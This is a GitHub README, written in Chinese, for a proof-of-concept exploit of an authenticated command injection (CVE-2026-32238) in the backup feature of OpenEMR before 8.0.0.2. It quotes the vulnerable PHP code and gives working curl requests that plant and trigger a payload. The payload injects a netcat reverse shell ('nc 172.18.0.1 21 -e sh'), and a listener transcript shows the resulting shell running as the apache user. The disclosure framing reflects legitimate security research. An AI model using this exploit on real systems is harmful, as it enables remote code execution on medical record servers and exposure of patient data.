ChrisSub08/CVE-2026-32238_RemoteCodeExecutionOpenEMR8.0.0

GitHub: ChrisSub08/CVE-2026-32238_RemoteCodeExecutionOpenEMR8.0.0

针对 OpenEMR 8.0.0.2 以下版本备份功能中命令注入漏洞的认证后远程代码执行 PoC。

Stars: 0 | Forks: 0

# CVE-2026-32238 - OpenEMR <8.0.0.2 远程代码执行漏洞 ### 概述 OpenEMR <8.0.0.1 的备份功能中存在多个命令注入漏洞,可被已认证的攻击者利用。该漏洞是由于备份功能中输入验证不足造成的。 ### 详情 该漏洞出现在备份功能中,其中多个 *ID* 在嵌入到 OS 命令的 SQL 语句中经过了 SQL 转义,但并未进行 shell 转义。 这些 *ID* 值在验证用户提供的输入存在于数据库后即被视为*可信*。 用户可以在这些 SQL *ID* 列中插入任意值,并拼接到 shell 命令中。 总结:某些 shell 命令在没有适当清理的情况下拼接了用户提供的输入,这可能导致命令注入漏洞。这使得攻击者能够注入恶意的 OS shell 命令。 该漏洞影响以下代码行: - `interface/main/backup.php` [第 775, 776, 784, 786, 788 和 789 行](https://github.com/openemr/openemr/blob/7f27cbd146104b9adaffc4be3bd1185c28505873/interface/main/backup.php#L775) 漏洞点 - `interface/main/backup.php` [第 768 行](https://github.com/openemr/openemr/blob/7f27cbd146104b9adaffc4be3bd1185c28505873/interface/main/backup.php#L768),检查值是否存在。 - `interface/main/backup.php` [第 763 行](https://github.com/openemr/openemr/blob/7f27cbd146104b9adaffc4be3bd1185c28505873/interface/main/backup.php#L763),检查值是否不包含 *反引号*。 - `interface/main/backup.php` [第 761 行](https://github.com/openemr/openemr/blob/7f27cbd146104b9adaffc4be3bd1185c28505873/interface/main/backup.php#L761),遍历每个值。 - `interface/main/backup.php` [第 742 行](https://github.com/openemr/openemr/blob/7f27cbd146104b9adaffc4be3bd1185c28505873/interface/main/backup.php#L742),从 POST 数据获取值。 - `interface/main/backup.php` [第 816, 818, 822, 824, 828, 831, 835 和 838 行](https://github.com/openemr/openemr/blob/7f27cbd146104b9adaffc4be3bd1185c28505873/interface/main/backup.php#L816) 漏洞点 - `interface/main/backup.php` [第 807 和 808 行](https://github.com/openemr/openemr/blob/7f27cbd146104b9adaffc4be3bd1185c28505873/interface/main/backup.php#L807),检查值是否存在。 - `interface/main/backup.php` [第 802 行](https://github.com/openemr/openemr/blob/7f27cbd146104b9adaffc4be3bd1185c28505873/interface/main/backup.php#L802),检查值是否不包含 *反引号*。 - `interface/main/backup.php` [第 800 行](https://github.com/openemr/openemr/blob/7f27cbd146104b9adaffc4be3bd1185c28505873/interface/main/backup.php#L800),遍历来自 POST 数据的每个值。 要利用这些漏洞,payload 应存储在:`list_options.option_id`、`list_options.list_id`、`layout_options.form_id` 或 `layout_group_properties.grp_form_id` 中。 ``` if (!empty($form_sel_lists)) { foreach ($form_sel_lists as $listid) { if (str_contains((string) $listid, '`')) { continue; } $listid_check = sqlQuery("SELECT `list_id` FROM `list_options` WHERE `list_id` = ? OR `option_id` = ?", [$listid, $listid]); if (empty($listid_check['list_id'])) { continue; } if (IS_WINDOWS) { $cmd .= " echo 'DELETE FROM list_options WHERE list_id = \"" . add_escape_custom($listid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . " & "; $cmd .= " echo 'DELETE FROM list_options WHERE list_id = 'lists' AND option_id = \"" . add_escape_custom($listid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . " & "; $cmd .= $dumppfx . " --where=\"list_id = 'lists' AND option_id = '$listid' OR list_id = '$listid' " . "ORDER BY list_id != 'lists', seq, title\" " . escapeshellarg((string) $sqlconf["dbase"]) . " list_options"; $cmd .= " >> " . escapeshellarg($EXPORT_FILE) . " & "; } else { $cmdarr[] = "echo 'DELETE FROM list_options WHERE list_id = \"" . add_escape_custom($listid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . ";" . "echo 'DELETE FROM list_options WHERE list_id = \"lists\" AND option_id = \"" . add_escape_custom($listid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . ";" . $dumppfx . " --where='list_id = \"lists\" AND option_id = \"" . add_escape_custom($listid) . "\" OR list_id = \"" . add_escape_custom($listid) . "\" " . "ORDER BY list_id != \"lists\", seq, title' " . escapeshellarg((string) $sqlconf["dbase"]) . " list_options" . " >> " . escapeshellarg($EXPORT_FILE) . ";"; } } } if (is_array($_POST['form_sel_layouts'] ?? '')) { $do_history_repair = false; $do_demographics_repair = false; foreach ($_POST['form_sel_layouts'] as $layoutid) { if (str_contains((string) $layoutid, '`')) { continue; } $layoutid_check_one = sqlQuery("SELECT `form_id` FROM `layout_options` WHERE `form_id` = ?", [$layoutid]); $layoutid_check_two = sqlQuery("SELECT `grp_form_id` FROM `layout_group_properties` WHERE `grp_form_id` = ?", [$layoutid]); if (empty($layoutid_check_one['list_id']) && empty($layoutid_check_two['grp_form_id'])) { continue; } if (IS_WINDOWS) { $cmd .= " echo DELETE FROM layout_options WHERE form_id = \"" . add_escape_custom($layoutid) . "\"; >> " . escapeshellarg($EXPORT_FILE) . " & "; } else { $cmd .= "echo 'DELETE FROM layout_options WHERE form_id = \"" . add_escape_custom($layoutid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . ";"; } if (IS_WINDOWS) { $cmd .= "echo DELETE FROM layout_group_properties WHERE grp_form_id = \"" . add_escape_custom($layoutid) . "\"; >> " . escapeshellarg($EXPORT_FILE) . " &;"; } else { $cmd .= "echo 'DELETE FROM layout_group_properties WHERE grp_form_id = \"" . add_escape_custom($layoutid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . ";"; } if (IS_WINDOWS) { $cmd .= $dumppfx . ' --where="grp_form_id = \'' . add_escape_custom($layoutid) . "'\" " . escapeshellarg((string) $sqlconf["dbase"]) . " layout_group_properties"; $cmd .= " >> " . escapeshellarg($EXPORT_FILE) . " & "; $cmd .= $dumppfx . ' --where="form_id = \'' . add_escape_custom($layoutid) . '\' ORDER BY group_id, seq, title" ' . escapeshellarg((string) $sqlconf["dbase"]) . " layout_options" ; $cmd .= " >> " . escapeshellarg($EXPORT_FILE) . " & "; } else { $cmd .= $dumppfx . " --where='grp_form_id = \"" . add_escape_custom($layoutid) . "\"' " . escapeshellarg((string) $sqlconf["dbase"]) . " layout_group_properties"; $cmd .= " >> " . escapeshellarg($EXPORT_FILE) . ";"; $cmd .= $dumppfx . " --where='form_id = \"" . add_escape_custom($layoutid) . "\" ORDER BY group_id, seq, title' " . escapeshellarg((string) $sqlconf["dbase"]) . " layout_options" ; $cmd .= " >> " . escapeshellarg($EXPORT_FILE) . ";"; } if (str_starts_with((string) $layoutid, 'HIS')) { $do_history_repair = true; } if (str_starts_with((string) $layoutid, 'DEM')) { $do_demographics_repair = true; } } ``` ``` echo 'SET character_set_client = utf8;' > '/tmp/openemr_config.sql';echo 'DELETE FROM layout_options WHERE form_id = "";' >> '/tmp/openemr_config.sql';echo 'DELETE FROM layout_group_properties WHERE grp_form_id = "";' >> '/tmp/openemr_config.sql';/usr/bin/mysqldump -u 'openemr' -p'openemr' -h 'mysql' --port='3306' --ignore-table='openemr.onsite_activity_view' --hex-blob --skip-opt --quote-names --no-tablespaces --complete-insert --no-create-info --skip-comments --where='grp_form_id = ""' 'openemr' layout_group_properties >> '/tmp/openemr_config.sql';/usr/bin/mysqldump -u 'openemr' -p'openemr' -h 'mysql' --port='3306' --ignore-table='openemr.onsite_activity_view' --hex-blob --skip-opt --quote-names --no-tablespaces --complete-insert --no-create-info --skip-comments --where='form_id = "" ORDER BY group_id, seq, title' 'openemr' layout_options >> '/tmp/openemr_config.sql'; ``` #### 权限 ``` if (!AclMain::aclCheckCore('admin', 'super')) { echo (new TwigContainer(null, $GLOBALS['kernel']))->getTwig()->render('core/unauthorized.html.twig', ['pageTitle' => xl("Backup")]); exit; } ``` ### PoC 在此 PoC 中,我使用 `layout_group_properties.grp_form_id` 列: 1. 将 payload 插入 `layout_group_properties.grp_form_id` 2. 使用相同的 payload 调用备份功能 ``` ┌──(kali㉿kali)-[~] └─$ curl -k -b "OpenEMR=de5348462330a02590ba31c91b2df758" --data 'csrf_token_form=57f25fd0b5172f9b9e692c4051e187486c83735c&formaction=addgroup&newgroupname=1&newgroupparent=1&&layout_id=LBF%22%27%3Bnc%20172.18.0.1%2021%20-e%20sh%20%23' 'http://172.18.0.3/interface/super/edit_layout.php' ┌──(kali㉿kali)-[~] └─$ curl -k -b "OpenEMR=de5348462330a02590ba31c91b2df758" --data 'csrf_token_form=57f25fd0b5172f9b9e692c4051e187486c83735c&form_step=102&form_cb_addlists=1&form_sel_lists[]=userlist1&form_sel_lists[]=userlist2&form_sel_lists[]=userlist3&form_sel_lists[]=LA28397-0&form_sel_layouts[]=LBF%22%27%3Bnc%20172.18.0.1%2021%20-e%20sh%20%23' 'http://172.18.0.3/interface/main/backup.php' ┌──(kali㉿kali)-[~] └─$ ``` #### 数据库 ``` MariaDB [openemr]> SELECT grp_form_id, grp_group_id FROM layout_group_properties; +--------------------------------+--------------+ | grp_form_id | grp_group_id | +--------------------------------+--------------+ | DEM | | | DEM | 1 | | DEM | 2 | | DEM | 3 | | DEM | 4 | | DEM | 5 | | DEM | 6 | | DEM | 8 | | FACUSR | | | FACUSR | 1 | | HIS | | | HIS | 1 | | HIS | 2 | | HIS | 3 | | HIS | 4 | | HIS | 5 | | LBF"';nc 172.18.0.1 21 -e sh # | 11 | | LBTbill | | | LBTbill | 1 | | LBTlegal | | | LBTlegal | 1 | | LBTphreq | | | LBTphreq | 1 | | LBTptreq | | | LBTptreq | 1 | | LBTref | | | LBTref | 1 | | LBTref | 2 | +--------------------------------+--------------+ 28 rows in set (0.003 sec) MariaDB [openemr]> ``` #### 反向 shell payload ``` nc 172.18.0.1 21 -e sh ``` ##### 注入 ``` LBF"';nc 172.18.0.1 21 -e sh # ``` ##### 最终结果 ``` echo 'SET character_set_client = utf8;' > '/tmp/openemr_config.sql';echo 'DELETE FROM layout_options WHERE form_id = "LBF\"\';nc 172.18.0.1 21 -e sh #";' >> '/tmp/openemr_config.sql';echo 'DELETE FROM layout_group_properties WHERE grp_form_id = "LBF\"\';nc 172.18.0.1 21 -e sh #";' >> '/tmp/openemr_config.sql';/usr/bin/mysqldump -u 'openemr' -p'openemr' -h 'mysql' --port='3306' --ignore-table='openemr.onsite_activity_view' --hex-blob --skip-opt --quote-names --no-tablespaces --complete-insert --no-create-info --skip-comments --where='grp_form_id = "LBF\"\';nc 172.18.0.1 21 -e sh #"' 'openemr' layout_group_properties >> '/tmp/openemr_config.sql';/usr/bin/mysqldump -u 'openemr' -p'openemr' -h 'mysql' --port='3306' --ignore-table='openemr.onsite_activity_view' --hex-blob --skip-opt --quote-names --no-tablespaces --complete-insert --no-create-info --skip-comments --where='form_id = "LBF\"\';nc 172.18.0.1 21 -e sh #" ORDER BY group_id, seq, title' 'openemr' layout_options >> '/tmp/openemr_config.sql'; ``` ##### 工具 我不确定是否需要 netcat (`nc`),但它默认安装在 docker 容器中(这对该漏洞利用非常有用)。 ##### 用户和当前目录 ``` ┌──(root㉿kali)-[/home/kali] └─# nc -lvnp 21 listening on [any] 21 ... connect to [172.18.0.1] from (UNKNOWN) [172.18.0.3] 44041 whoami apache id uid=1000(apache) gid=102(apache) groups=82(www-data),102(apache),102(apache) pwd /var/www/localhost/htdocs/openemr/interface/main ``` ### 影响 - 服务器端代码执行 ### 漏洞修复流程 1. 评估并验证漏洞 2. 请求或分配 CVE ID 3. 创建私有分支 4. 开发修复程序 5. 编写回归和安全测试 6. 准备发行说明和安全公告草案 7. 发布修复程序(代码合并)并发布补丁版本 8. 公开披露漏洞 ### 致谢 - 研究员:Christophe SUBLET - 组织:Grenoble INP - Esisar, UGA - 项目:CyberSkills, Orion
标签:Cutter, CVE-2026-32238, OpenEMR, OpenVAS, PHP, RCE, Shell注入, SQL转义绕过, Web安全, 医疗信息系统, 命令注入, 备份功能, 漏洞, 编程工具, 蓝队分析, 认证后攻击, 输入验证不足, 远程代码执行, 高危漏洞